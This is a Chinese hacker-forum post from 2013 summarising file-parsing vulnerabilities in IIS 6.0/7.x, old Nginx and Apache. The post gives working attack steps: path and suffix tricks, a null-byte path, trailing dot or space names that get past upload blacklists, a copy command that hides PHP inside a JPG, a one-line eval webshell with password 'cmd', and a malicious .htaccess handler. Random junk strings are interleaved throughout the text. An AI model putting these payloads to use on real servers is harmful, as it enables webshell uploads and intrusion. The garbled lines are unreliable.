找回密码
 立即注册
查看: 3250|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
6 c: g$ O+ A# V& q& q; Y5 g[+]IIS6.0
3 O7 _7 v2 L9 {. }
% {' _0 F4 Q2 X! l1 L目录解析:/xx.asp/xx.jpg
0 I% v/ M- R. u$ y xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码1 N. ]" g8 w7 F; ?. i
IIS6.0 会将 xx.jpg 解析为 asp 文件。; w5 o) J: k' ?! l
后缀解析:/xx.asp;.jpg     8 t/ p/ \# R! H9 b3 E6 s6 _$ ]2 o
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
' v) e5 C6 S# z* l默认解析:/xx.asa
& b$ Z- j) W9 |( ]! b4 i5 b         /xx.cer5 P) ]  k, B2 D% e
         /xx.cdx
5 R! q" k' O# g" E& q IIS6.0 默认的可执行文件除了 asp 还包含这三种$ Q* k- C6 T/ P, i$ H+ Q
此处可联系利用目录解析漏洞
1 l( h  b& O3 |9 s' U$ \/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
0 H; u3 b% i1 R- T* I# d; d[+]IIS 7.0/IIS 7.5/Nginx <0.8.031 R+ _! @: l! s' d% k% X* {

5 b7 y; L) [# O5 x IIS 7.0/IIS 7.5/Nginx <0.8.03* X3 @) a- c: V; \/ P" m( C
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
. [. K  ~7 u1 A. J2 m. V 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
' J3 @6 I7 O6 q* I7 x 常用利用方法:
5 _  b- H$ H9 \# q 将一张图和一个写入后门代码的文本文件合并将恶意文本1 j9 l+ X% j  ]8 n! R7 `. W+ S
写入图片的二进制代码之后,避免破坏图片文件头和尾" e% o2 b4 J" s* v: T& {
如:
5 }3 F! X9 x; j4 d1 Z1 M copy xx.jpg /b + yy.txt/a xy.jpg
7 A+ B% L9 O. I/ N" `% ? #########################################################
! m/ y! M- [& ?& C9 p( Z /b 即二进制[binary]模式
' N0 |7 C0 [; j+ R0 W /a 即ascii模式
/ r: F& K4 i6 x0 M; }1 i& y- M' ~2 B xx.jpg 正常图片文件0 k$ i* m+ n# ~
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
" u- U2 s$ e% c/ [ '<?php eval($_POST[cmd])?>');?>/ k2 n1 ?) `# @
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
% k% x2 J0 {4 i" P( u6 I 为shell.php的文件! i" C4 W9 {- u+ i7 A7 r9 M
###########################################################
5 T1 U( s1 H& N 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
7 `- Y! b( J) k: H& y' G 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 4 P- a8 w5 }6 W1 Y, H
密码 cmd
& \8 v2 {/ }% x' K[+]Nginx <0.8.03
1 H( X; s! J. N$ M/ N7 Y# s
6 P) a: i/ g9 W- S3 C- O, q 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
+ w8 a+ z6 S9 D' ?2 [1 f* | 在一个文件路径(/xx.jpg)后面加上%00.php5 y' |* i1 q  z6 Y
会将 /xx.jpg%00.php 解析为 php 文件。
5 ~* `; d9 Z5 i7 I[+]Apache<0.8.03
  D' d' O4 ~1 ~6 _. n% l% V( {; I
$ ], d" a5 t9 R+ _ 后缀解析:test.php.x1.x2.x3% h& r& ~8 E( h/ H
Apache将从右至左开始判断后缀,若x3非可识别后缀,
$ f; Y' H8 \5 b9 D# N 再判断x2,直到找到可识别后缀为止,然后将该可识别% _, d. Y: q* T( ?5 |' G+ w0 {
后缀进解析test.php.x1.x2.x3 则会被解析为php/ W0 A, z) w9 M- g$ ]5 `8 Y
经验之谈:php|php3|phtml 多可被Apache解析。5 d( R- z2 j  u( N' Z8 {
[+]其他一些可利用的
1 L1 |, t1 i4 s  q4 L9 }! L7 s 1 Z' [2 ?3 [- G- D
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的0 D  J' `* B- t8 S' V1 B
若这样命名,windows会默认除去空格或点,这也是可以被利用的!: ^* j: f6 y) R* k, o# R' B
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
& D) }2 _/ d. Y5 @或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可6 ?" |. ?. S, L
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
# |/ c+ D3 {3 d  f( D{Linux主机中不行,Linux允许这类文件存在}
  T$ I7 j) D8 e' P2 j如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说- A/ \+ ~8 G$ q/ L: i
的,当初我并不知道),且可以被上传,那可以尝试在. z& u  c8 D/ p, R4 W7 v
.htaccess中写入:( }. h6 F  _8 w5 Q7 Z8 G
<FilesMatch “shell.jpg”>
. x/ I- w5 ^$ h; w8 ^$ zSetHandler application/x-httpd-php
% G& z7 Y7 s0 T8 b</FilesMatch>
" n* W& w- j$ Dshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
1 p* x8 U4 Z: [0 u; g  @[+]错误修改! C' S/ W8 X* z: E' ?

/ D+ ^% ~6 {' v在 IIS 6.0 下可解析 /xx.asp:.jpg5 P( A5 a- E1 O
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
2 J9 F6 ~/ A: m3 z剩下/xx.asp}修改:
0 l: h  p, Z/ k( Y3 _先谢谢核攻击的提醒4 V- I) D6 W5 F4 Y' o; [9 L  J
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp6 t% t0 e$ W- ^; d) ?1 N5 s
里是没有任何内容的,因为。。不好解释 大家自己看' y9 ?! l: E2 `) K2 t
http://lcx.cc/?i=2448
+ ]) F, M+ y; f# u) n( V  ]. vhttp://baike.baidu.com/view/3619593.htm
2 G7 s# t" b: O- C' ~& j
& I% f  v  P" X' H0 `- M4 |8 m  B/ d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表